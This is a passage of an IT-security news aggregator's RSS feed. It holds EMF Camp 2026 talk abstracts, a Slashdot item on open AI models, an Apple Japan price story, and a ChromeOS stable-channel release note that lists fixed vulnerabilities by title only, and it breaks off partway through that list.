problem.</p><h2><b>Building for the production era</b></h2><p>The honeymoon phase of gen AI experimentation is ending. Enterprise leaders are demanding measurable, predictable, and secure business outcomes from their AI investments.</p><p>If an organization wants to transition from isolated, impressive-looking demos to resilient, production-grade AI systems, it must redirect its focus. Stop looking exclusively at the model tier.</p><p>The real competitive differentiator is not only the LLM an organization chooses. It is the engineering discipline, data governance, and pipeline resilience of the infrastructure built to feed it.</p><p>In the production era of AI, data engineering is no longer a backend function. It is the control plane for enterprise intelligence.</p><p><i>Naveen Ayalla is a senior data engineer. </i></p>]]></content:encoded>
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<title><![CDATA[Phones for the Deaf (emf2026)]]></title>
<description><![CDATA[Have you ever gotten a call from a relay operator who wants to connect you with someone who's using a text phone? Did you hang up? Stop it! I want to tell you about the past, present, and future of textphones, and how deaf people and people with difficulty speaking communicate with phone users. F...]]></description>
<link>https://tsecurity.de/de/3679793/it-security-video/phones-for-the-deaf-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679793/it-security-video/phones-for-the-deaf-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 19:38:27 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Have you ever gotten a call from a relay operator who wants to connect you with someone who's using a text phone? Did you hang up? Stop it! I want to tell you about the past, present, and future of textphones, and how deaf people and people with difficulty speaking communicate with phone users. Finally, I want you to stop hanging up on me!

Let's look at the systems behind different assistive technologies, how they are used, and the people who keep them running- people who are some of the last operators in the phone network today. From early POTS tone systems for the first landlines to modern apps, we'll see how a tiny but vital corner of the phone system works. 

This talk will be presented in spoken English with live captioning. I am a hearing English and BSL speaker. I have used textphones and relay phone services since childhood and have worked in phone technology and technology accessibility for a number of years.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/76-phones-for-the-deaf]]></content:encoded>
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<title><![CDATA[Phones for the Deaf (emf2026)]]></title>
<description><![CDATA[Have you ever gotten a call from a relay operator who wants to connect you with someone who's using a text phone? Did you hang up? Stop it! I want to tell you about the past, present, and future of textphones, and how deaf people and people with difficulty speaking communicate with phone users. F...]]></description>
<link>https://tsecurity.de/de/3679775/it-security-video/phones-for-the-deaf-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679775/it-security-video/phones-for-the-deaf-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 19:08:09 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Have you ever gotten a call from a relay operator who wants to connect you with someone who's using a text phone? Did you hang up? Stop it! I want to tell you about the past, present, and future of textphones, and how deaf people and people with difficulty speaking communicate with phone users. Finally, I want you to stop hanging up on me!

Let's look at the systems behind different assistive technologies, how they are used, and the people who keep them running- people who are some of the last operators in the phone network today. From early POTS tone systems for the first landlines to modern apps, we'll see how a tiny but vital corner of the phone system works. 

This talk will be presented in spoken English with live captioning. I am a hearing English and BSL speaker. I have used textphones and relay phone services since childhood and have worked in phone technology and technology accessibility for a number of years.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/76-phones-for-the-deaf]]></content:encoded>
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<title><![CDATA[Former Richard Stallman Colleague Now Argues for Open AI Models Too]]></title>
<description><![CDATA[Long-time Slashdot reader theodp writes:


Recalling his initial resistance to free and open software, billionaire computer scientist David Siegel argues vigorously in FORTUNE that the stakes are too high to let AI become increasingly closed. "In the 1980s, I had the chance to spend several years...]]></description>
<link>https://tsecurity.de/de/3679626/it-security-nachrichten/former-richard-stallman-colleague-now-argues-for-open-ai-models-too/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679626/it-security-nachrichten/former-richard-stallman-colleague-now-argues-for-open-ai-models-too/</guid>
<pubDate>Sun, 19 Jul 2026 16:52:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Long-time Slashdot reader theodp writes:


Recalling his initial resistance to free and open software, billionaire computer scientist David Siegel argues vigorously in FORTUNE that the stakes are too high to let AI become increasingly closed. "In the 1980s, I had the chance to spend several years arguing about free and open software, what we now call open source, with the founder of the movement, Richard Stallman. My office at the MIT AI Lab was next door to his. Stallman's position was that the source code to software should be free for everyone to use, learn from, and improve. Software encapsulates knowledge, he argued, and no one should lock something so fundamental away. To hide software inside a company was to hide knowledge itself... What I missed was that software was not just a commercial asset; it was a body of knowledge, and bodies of knowledge grow stronger when they are shared. After about two years of on-and-off debate, Stallman convinced me I was wrong." 

 "Now the AI fight is the same — only bigger," advises Siegel. "AI is software, and AI is increasingly closed. The frontier models — the most advanced, cutting-edge AI systems — are closed completely and the trend is accelerating. Viable open alternatives are few and far between." So, what to do...? "Yes, frontier models keep getting bigger and more expensive — that arms race may well stay with the giants. But open source AI does not have to match their scale to be useful. Much of what the world needs probably does not require the absolute frontier. And where keeping a credible open option does demand serious compute, that is precisely the kind of public good worth paying for. 

"What's missing is not a path but will. The government, the private sector, and nonprofits should invest heavily in free and open source AI — the way they once invested in open software: public compute grants for open research, corporate and philanthropic support for universities and nonprofits doing the work, and a simple rule that AI built with public money is open by default. 

"We have run this experiment before. We know how it turns out. Let's not unlearn it."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Former+Richard+Stallman+Colleague+Now+Argues+for+Open+AI+Models+Too%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F19%2F0631207%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
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</div><p><a href="https://news.slashdot.org/story/26/07/19/0631207/former-richard-stallman-colleague-now-argues-for-open-ai-models-too?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Killing the astrophysical chameleon (emf2026)]]></title>
<description><![CDATA[Astronomical observations show that our universe is expanding faster and faster in all directions due to something we call ‘dark energy’ – but what exactly is it? There are many theories out there, and astrophysicists have an unlikely ally in the search – atomic physicists like myself. As part of...]]></description>
<link>https://tsecurity.de/de/3679483/it-security-video/killing-the-astrophysical-chameleon-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679483/it-security-video/killing-the-astrophysical-chameleon-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 14:48:30 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Astronomical observations show that our universe is expanding faster and faster in all directions due to something we call ‘dark energy’ – but what exactly is it? There are many theories out there, and astrophysicists have an unlikely ally in the search – atomic physicists like myself. As part of my PhD research, I used lasers to trap and cool atoms to use as tiny sensors to search for new physics, including searching for evidence of a specific dark energy candidate, the chameleon field. In this talk I will give an overview of the physics behind dark energy and my experiment, explain how atomic physics experiments have applications across all sorts of fields, and why even though I ended up measuring zero, that’s still moving science forward. 

Note: no actual chameleons were harmed in the making of this talk.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/246-killing-the-astrophysical-chameleon]]></content:encoded>
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<title><![CDATA[How often do authoritarian regimes willingly and peacefully give up power?]]></title>
<description><![CDATA[On the evening of April 12, sixteen years of an authoritarian Hungarian regime of constitutional capture ended in a call lasting just minutes. Viktor Orbán picked up a telephone and called Péter Magyar to concede, an abrupt end for the dictator. The interesting question is whether this call can b...]]></description>
<link>https://tsecurity.de/de/3679417/it-security-nachrichten/how-often-do-authoritarian-regimes-willingly-and-peacefully-give-up-power/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679417/it-security-nachrichten/how-often-do-authoritarian-regimes-willingly-and-peacefully-give-up-power/</guid>
<pubDate>Sun, 19 Jul 2026 13:52:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[On the evening of April 12, sixteen years of an authoritarian Hungarian regime of constitutional capture ended in a call lasting just minutes. Viktor Orbán picked up a telephone and called Péter Magyar to concede, an abrupt end for the dictator. The interesting question is whether this call can be replicated in other states. The … <a href="https://www.flyingpenguin.com/how-often-do-authoritarian-regimes-willingly-and-peacefully-give-up-power/" class="more-link">Continue reading <span class="screen-reader-text">How often do authoritarian regimes willingly and peacefully give up power?</span> <span class="meta-nav">→</span></a>]]></content:encoded>
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<title><![CDATA[An SRE's Guide to Camping in Extreme Conditions (emf2026)]]></title>
<description><![CDATA[Winter camping in the Alps sounds beautiful… doesn't it? 

That is, until the pipes freeze or the heating goes out when it’s -21°C outside. By day, I'm an SRE responsible for incident management, triaging alerts, and calling in subject matter experts when required. It turns out that those skills ...]]></description>
<link>https://tsecurity.de/de/3679415/it-security-video/an-sres-guide-to-camping-in-extreme-conditions-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679415/it-security-video/an-sres-guide-to-camping-in-extreme-conditions-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:47:51 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Winter camping in the Alps sounds beautiful… doesn't it? 

That is, until the pipes freeze or the heating goes out when it’s -21°C outside. By day, I'm an SRE responsible for incident management, triaging alerts, and calling in subject matter experts when required. It turns out that those skills are transferable to handling real-life situations, too!

In this talk, I’ll share a fun (slightly traumatic) guide to applying SRE thinking to camping. I'll talk about hacky fixes to resolve the immediate impact, the process of narrowing down the root cause, and the beauty of pattern matching in observability. 

You’ll see that monitoring, escalation, and redundancy aren’t just for data centres. They’re survival tools.

If you’ve ever been on-call or just like a good disaster story, join me for this slightly chaotic, entirely true adventure in off-grid reliability.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/230-an-sres-guide-to-camping-in-extreme-conditions]]></content:encoded>
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<title><![CDATA[RSRE Flex: reviving an innovative, remarkably odd British operating system that almost nobody knows about (emf2026)]]></title>
<description><![CDATA[1980: Royal Signals and Radar Establishment researchers realise Flex, a mould-breaking, comprehensively alternative vision of computing. Features:

- All-hypertext interface (oddly never described thus)
- Allusions to ancient Egyptian orthography
- Unforgeable pointers for security
- Write-once f...]]></description>
<link>https://tsecurity.de/de/3679393/it-security-video/rsre-flex-reviving-an-innovative-remarkably-odd-british-operating-system-that-almost-nobody-knows-about-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679393/it-security-video/rsre-flex-reviving-an-innovative-remarkably-odd-british-operating-system-that-almost-nobody-knows-about-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:17:59 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[1980: Royal Signals and Radar Establishment researchers realise Flex, a mould-breaking, comprehensively alternative vision of computing. Features:

- All-hypertext interface (oddly never described thus)
- Allusions to ancient Egyptian orthography
- Unforgeable pointers for security
- Write-once filesystem with nameless files (which you didn't mind)
- Implementation in the (infamously) complicated language Algol 68
- First-class functions and typechecking everywhere (I'll explain what that means)
- Memorable... hardware choices

Today: Flex runs again for the first time in (probably) decades! In this spirited talk (for general audiences *and* OS geeks) I'll live-demo its unique &quot;feel&quot; while describing its origins, fate, and unlikely revival (hint: mouldy 8&quot; floppies). I'll also call for help: maybe YOU know people and information needed to share it publicly. Ahead of its time, maybe ours too, or maybe outside of it: everyone should be able to try Flex. Hopefully this talk brings us one step closer!

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/91-rsre-flex-reviving-an-innovative]]></content:encoded>
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<title><![CDATA[Killing the astrophysical chameleon (emf2026)]]></title>
<description><![CDATA[Astronomical observations show that our universe is expanding faster and faster in all directions due to something we call ‘dark energy’ – but what exactly is it? There are many theories out there, and astrophysicists have an unlikely ally in the search – atomic physicists like myself. As part of...]]></description>
<link>https://tsecurity.de/de/3679391/it-security-video/killing-the-astrophysical-chameleon-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679391/it-security-video/killing-the-astrophysical-chameleon-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:17:56 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Astronomical observations show that our universe is expanding faster and faster in all directions due to something we call ‘dark energy’ – but what exactly is it? There are many theories out there, and astrophysicists have an unlikely ally in the search – atomic physicists like myself. As part of my PhD research, I used lasers to trap and cool atoms to use as tiny sensors to search for new physics, including searching for evidence of a specific dark energy candidate, the chameleon field. In this talk I will give an overview of the physics behind dark energy and my experiment, explain how atomic physics experiments have applications across all sorts of fields, and why even though I ended up measuring zero, that’s still moving science forward. 

Note: no actual chameleons were harmed in the making of this talk.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/246-killing-the-astrophysical-chameleon]]></content:encoded>
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<title><![CDATA[Apple Raises iPhone Prices in Japan by Up to 11%, Here’s the Full List]]></title>
<description><![CDATA[Apple has raised iPhone prices in Japan by up to 11%, with the changes affecting the iPhone 17 lineup, iPhone Air, iPhone 17e, and iPhone 16. The new pricing took effect today and adds between ¥8,000 and ¥20,000 to the cost of selected models.



The iPhone Air received the largest percentage inc...]]></description>
<link>https://tsecurity.de/de/3679191/ios-mac-os/apple-raises-iphone-prices-in-japan-by-up-to-11-heres-the-full-list/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679191/ios-mac-os/apple-raises-iphone-prices-in-japan-by-up-to-11-heres-the-full-list/</guid>
<pubDate>Sun, 19 Jul 2026 10:53:33 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has raised iPhone prices in Japan by up to 11%, with the changes affecting the iPhone 17 lineup, iPhone Air, iPhone 17e, and iPhone 16. The new pricing took effect today and adds between ¥8,000 and ¥20,000 to the cost of selected models.



The iPhone Air received the largest percentage increase, while the iPhone 17 Pro Max saw the biggest increase in yen. Apple has not explained the change, although the weak Japanese yen appears to be the main reason behind the revised prices.



ModelStorageOld PriceNew PriceIncreaseiPhone 17 Pro Max256GB¥194,800¥214,80010%iPhone 17 Pro256GB¥179,800¥194,8008%iPhone Air256GB¥159,800¥177,80011%iPhone 17e256GB¥99,800¥107,8008%iPhone 17256GB¥129,800¥142,80010%iPhone 16128GB¥114,800¥124,8009%



Japan’s currency recently fell to one of its weakest levels in decades, reducing the dollar value of Apple’s local sales. Apple also faces higher component costs, which already pushed the company to raise Mac and iPad prices last month.



Other countries are unlikely to see the same increases if Apple adjusted Japan’s prices mainly because of currency changes. The company may share more details during its fiscal third-quarter earnings call on July 30.]]></content:encoded>
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<title><![CDATA[Stable Channel Update for ChromeOS / ChromeOS Flex]]></title>
<description><![CDATA[The ChromeOS Stable channel is being updated to OS version 16700.46.0 (Browser version 150.0.7871.150) for most ChromeOS devices.If you find new issues, please let us know one of the following ways:File a bugVisit our ChromeOS communitiesGeneral: Chromebook Help CommunityBeta Specific: ChromeOS B...]]></description>
<link>https://tsecurity.de/de/3678844/it-security-nachrichten/stable-channel-update-for-chromeos-chromeos-flex/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678844/it-security-nachrichten/stable-channel-update-for-chromeos-chromeos-flex/</guid>
<pubDate>Sun, 19 Jul 2026 06:07:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span color="rgba(0, 0, 0, 0.87)">The ChromeOS Stable channel is being updated to OS version </span><span color="rgba(0, 0, 0, 0.87)">16700.46.0</span><span color="rgba(0, 0, 0, 0.87)"> (Browser version </span><span color="rgba(0, 0, 0, 0.87)">150.0.7871.150</span><span color="rgba(0, 0, 0, 0.87)">) for most ChromeOS devices.</span></p><div><span><span>If you find new issues, please let us know one of the following ways:</span></span></div><ol><li><span><span><a href="https://bugs.chromium.org/p/chromium/issues/list"><span>File a bug</span></a></span></span></li><li aria-level="1"><p role="presentation"><span><span>Visit our ChromeOS communities</span></span></p></li><ol><li aria-level="2"><p role="presentation"><span><span>General: </span><a href="https://support.google.com/chromebook/community/?hl=en&amp;gpf=%23!forum%2Fchromebook-central"><span>Chromebook Help Community</span></a></span></p></li><li aria-level="2"><p role="presentation"><span><span>Beta Specific: </span><a href="https://support.google.com/chromeos-beta/community"><span>ChromeOS Beta Help Community</span></a></span></p></li></ol><li aria-level="1"><p role="presentation"><a href="https://support.google.com/chrome/answer/95315?hl=en&amp;co=GENIE.Platform%3DDesktop"><span><span><span>Report an issue or send feedback on Chrome</span></span></span></a></p></li><li aria-level="1"><p role="presentation"><span><span>Interested in switching channels? </span><a href="https://support.google.com/chromebook/answer/1086915"><span>Find out how.</span></a></span></p></li></ol><div><span><h4 dir="ltr"><span>ChromeOS Vulnerability Rewards Program Reported Bug Fixes:</span></h4><br><p dir="ltr"><span>N/A</span></p><h4 dir="ltr"><span>Other 3rd Party Security Fixes Included:</span></h4><br><p dir="ltr"><span>High</span><span> Fixes  CVE-2026-46242 (Bad epoll) - Linux Local Privilege Escalation </span></p><p dir="ltr"><span>Medium</span><span> Fixes  CVE-2026-49746 [PSP-528][PP-173890][KMD] Dimension Mismatch and Integer Truncation in `PMRDevPhysAddrOSMem` </span></p><p dir="ltr"><span>High</span><span> Fixes   Potential UAF via Profile/Service Desync in shill ConfigureService </span></p><p dir="ltr"><span>Medium</span><span> Fixes   CWE-862: shill Manager.NotifyDHCPEvent reachable from chronos allows DHCP spoofing </span></p><p dir="ltr"><span>Medium</span><span> Fixes  CVE-2026-45204 [PSP-406][PowerVR] Out of bounds memory access and kernel NULL pointer dereference in DmaTransfer when pui64Address is a pointer to device memory </span></p><p dir="ltr"><span>High</span><span> Fixes   Stack OOB Read to Heap OOB Write in msm_ccmd_ioctl_simple via Guest-Controlled _IOC_SIZE </span></p><p dir="ltr"><span>High</span><span> Fixes   [LPE] Patchpanel ConnectNamespace PID Gate Bypass Allows CAP_NET_ADMIN Root Netns Operations </span></p><p dir="ltr"><span>Medium</span><span> Fixes  CVE-2026-49745 [PSP-598][PP-174017] Unvalidated sHWPerfCtlDMABuf GPU-VA, DMA-write into FW privdata via MMU ctx 0 </span></p><p dir="ltr"><span>High</span><span> Fixes   Heap OOB write in ANGLE D3D11 vertex streaming via `WEBGL_draw_instanced_base_vertex_base_instance` </span></p><p dir="ltr"><span>High</span><span> Fixes   Use-After-Free in CRAS LE-Audio via group removal race condition </span></p><p dir="ltr"><span>High</span><span> Fixes   Cross-client microphone audio exfiltration via missing CRAS stream ownership check </span></p><p dir="ltr"><span>High</span><span> Fixes   Use-After-Free in CRAS server via dangling active_fm-&gt;lea pointer </span></p><p dir="ltr"><span>Critical</span><span> Fixes   [LPE] Arbitrary file read as root in printscanmgr via FD leak and path traversal </span></p><p dir="ltr"><span>High</span><span> Fixes   Privilege escalation in CRAS via DlcStateChanged signal spoofing </span></p><p dir="ltr"><span>High</span><span> Fixes   missing untrusted input validation in chromeos-boot-alert leads to root pango-view processing attacker file </span></p><p dir="ltr"><span>High</span><span> Fixes   UAF and Control Flow Hijack in CRAS A2DP Profile Switching </span></p><p dir="ltr"><span>Medium</span><span> Fixes   Heap OOB Read in Floss A2DP via Ring Buffer Misalignment </span></p><p dir="ltr"><span>High</span><span> Fixes   Heap OOB write in CRAS mSBC SCO handling via dynamic packet size adjustment </span></p><p dir="ltr"><span>High</span><span> Fixes   UAF in CRAS server via dangling default_rmod-&gt;odev pointer after stream disconnect </span></p><p dir="ltr"><span>High</span><span> Fixes   Crosvm xHCI guest-to-host OOB write via unchecked DMA buffer size </span></p><p dir="ltr"><span>High</span><span> Fixes   Use-After-Free in CRAS HFP SLC due to leaked timer in AT+CMER handler </span></p><p dir="ltr"><span>High</span><span> Fixes   CRAS OOB write via integer overflow in cras_shm_buff_for_idx </span></p><p dir="ltr"><span>High</span><span> Fixes   OOB write in CRAS via unsigned underflow in cras_audio_area_copy </span></p><p dir="ltr"><span>High</span><span> Fixes   Use-After-Free in CRAS echo_ref_requests via concurrent list mutation </span></p><p dir="ltr"><span>High</span><span> Fixes   Unauthenticated CRAS Loopback Hijacking allows Cross-Client Audio Capture </span></p><p dir="ltr"><span>High</span><span> Fixes   Use-After-Free in CRAS loopback traversal due to data race </span></p><p dir="ltr"><span>High</span><span> Fixes   Out-of-bounds write in CRAS server via unvalidated client_shm_size </span></p><p dir="ltr"><span>Critical</span><span> Fixes   [LPE] Arbitrary `tc` Command Injection in `shill` Throttler via `TetheringConfig` </span></p><p dir="ltr"><span>High</span><span> Fixes   Potential Use-After-Free in vm_concierge ArcVm via base::Unretained in async D-Bus callback </span></p><p dir="ltr"><span>Medium</span><span> Fixes   TOCTOU in permission_broker allows chronos to open arbitrary device nodes </span></p><p dir="ltr"><span>Medium</span><span> Fixes   [PSP-490][PowerVR] Read UAF in GrowMipLevelArray() due to incorrect texture array iteration during image copy </span></p><p dir="ltr"><span>Medium</span><span> Fixes   [PSP-495][PowerVR] OOB read in CreateTextureMemory() due to memory mismanagement after texture format change </span></p><p dir="ltr"><span>Medium</span><span> Fixes   [PSP-516][PowerVR] Secondary mapping of the freelist PMR allows reading Freelist contents via GPU shader </span></p><p dir="ltr"><span>Medium</span><span> Fixes   [PSP-443][KMD][PowerVR] Read UAF of sync checkpoint in pvr_sync_finalise_fence() after update fence file descriptor is prematurely closed </span></p><p dir="ltr"><span>Medium</span><span> Fixes  CVE-2026-34196 [PSP-372][PowerVR] UAF read and/or write of arbitrary physical memory due to integer truncation in PMRDevPhysAddrOSMem </span></p><p dir="ltr"><span>Medium</span><span> Fixes  CVE-2026-7639 [PSP-452][KMD] Page UAF read in `PMMETA_PROTECT` heap memory </span></p><p dir="ltr"><span>Medium</span><span> Fixes   [PSP-415] [PROJ-ZERO] PowerVR: [crash-only bug] kernel crash due to faulting userspace memory access without fault handling </span></p><p dir="ltr"><span>Android Security fixes can be found </span><a href="https://source.android.com/docs/security/bulletin/2026-07-01"><span>here</span></a></p><br><h4 dir="ltr"><span>Chrome Browser Security Fixes:</span></h4><br><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/524395469"><span>[524395469</span></a><span>] </span><span>High</span><span> CVE-2026-13855 Use after free in Ozone  on  2026-06-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/524290062"><span>[524290062</span></a><span>] </span><span>Medium</span><span> CVE-2026-14432 Use after free in V8  on  2026-06-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523884658"><span>[523884658</span></a><span>] </span><span>High</span><span> CVE-2026-14431 Type Confusion in V8 Reported by [OpenAI Codex Security (amyb)] on  2026-06-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523690961"><span>[523690961</span></a><span>] </span><span>High</span><span> CVE-2026-13854 Use after free in Ozone  on  2026-06-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523224019"><span>[523224019</span></a><span>] </span><span>High</span><span> CVE-2026-13853 Use after free in Journeys  on  2026-06-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/520571816"><span>[520571816</span></a><span>] </span><span>High</span><span> CVE-2026-14429 Insufficient validation of untrusted input in Skia  on  2026-06-05 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/520113415"><span>[520113415</span></a><span>] </span><span>Critical</span><span> CVE-2026-14427 Heap buffer overflow in Skia  on  2026-06-04 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/518247789"><span>[518247789</span></a><span>] </span><span>Low</span><span> CVE-2026-14156 Policy bypass in StorageAccessAPI  on  2026-05-30 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/518246925"><span>[518246925</span></a><span>] </span><span>Low</span><span> CVE-2026-14155 Insufficient policy enforcement in StorageAccessAPI  on  2026-05-30 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/518245882"><span>[518245882</span></a><span>] </span><span>Medium</span><span> CVE-2026-14024 Use after free in Ozone  on  2026-05-30 </span></p><p dir="ltr"><span>[$1000.0] </span><a href="https://issuetracker.google.com/517981277"><span>[517981277</span></a><span>] </span><span>High</span><span> CVE-2026-14426 Use after free in V8 Reported by [] on  2026-05-30 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/518063436"><span>[518063436</span></a><span>] </span><span>Medium</span><span> CVE-2026-14023 Insufficient validation of untrusted input in SanitizerAPI  on  2026-05-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/518007821"><span>[518007821</span></a><span>] </span><span>Critical</span><span> CVE-2026-13786 Use after free in Ozone  on  2026-05-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517935753"><span>[517935753</span></a><span>] </span><span>High</span><span> CVE-2026-14425 Use after free in ANGLE  on  2026-05-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517791835"><span>[517791835</span></a><span>] </span><span>Medium</span><span> CVE-2026-14022 Insufficient validation of untrusted input in Network  on  2026-05-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517741170"><span>[517741170</span></a><span>] </span><span>Low</span><span> CVE-2026-14154 Inappropriate implementation in DevTools  on  2026-05-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517731924"><span>[517731924</span></a><span>] </span><span>Medium</span><span> CVE-2026-14021 Insufficient validation of untrusted input in StorageAccessAPI  on  2026-05-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517684077"><span>[517684077</span></a><span>] </span><span>Low</span><span> CVE-2026-14153 Inappropriate implementation in Glic  on  2026-05-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517598518"><span>[517598518</span></a><span>] </span><span>Medium</span><span> CVE-2026-14020 Insufficient validation of untrusted input in WebXR  on  2026-05-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517534944"><span>[517534944</span></a><span>] </span><span>Low</span><span> CVE-2026-14152 Out of bounds write in ANGLE  on  2026-05-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517522769"><span>[517522769</span></a><span>] </span><span>High</span><span> CVE-2026-14423 Type Confusion in Tint  on  2026-05-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517455455"><span>[517455455</span></a><span>] </span><span>Medium</span><span> CVE-2026-14019 Inappropriate implementation in Passwords on IP-literal pages  on  2026-05-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517381770"><span>[517381770</span></a><span>] </span><span>Low</span><span> CVE-2026-14151 Inappropriate implementation in AI  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517376041"><span>[517376041</span></a><span>] </span><span>Low</span><span> CVE-2026-14150 Insufficient validation of untrusted input in Speech  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517345069"><span>[517345069</span></a><span>] </span><span>High</span><span> CVE-2026-13848 Use after free in Forms  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517241992"><span>[517241992</span></a><span>] </span><span>Medium</span><span> CVE-2026-14017 Inappropriate implementation in Navigation  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517234388"><span>[517234388</span></a><span>] </span><span>Medium</span><span> CVE-2026-14016 Insufficient policy enforcement in SVG  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517155893"><span>[517155893</span></a><span>] </span><span>Medium</span><span> CVE-2026-14014 Inappropriate implementation in Paint  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517114175"><span>[517114175</span></a><span>] </span><span>Medium</span><span> CVE-2026-14013 Inappropriate implementation in SVG  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517110749"><span>[517110749</span></a><span>] </span><span>Medium</span><span> CVE-2026-14012 Side-channel information leakage in CSS  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517033235"><span>[517033235</span></a><span>] </span><span>Medium</span><span> CVE-2026-14421 Uninitialized Use in Dawn on ChromeOS-ARM due to disabled Mali multi-resolve workaround  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517031505"><span>[517031505</span></a><span>] </span><span>Critical</span><span> CVE-2026-14420 Out of bounds read and write in Dawn  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516981393"><span>[516981393</span></a><span>] </span><span>Critical</span><span> CVE-2026-14419 Use after free in Skia on Allocation Failure  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516962715"><span>[516962715</span></a><span>] </span><span>Critical</span><span> CVE-2026-13784 Use after free in Views  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516962178"><span>[516962178</span></a><span>] </span><span>Critical</span><span> CVE-2026-13783 Use after free in Views  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a 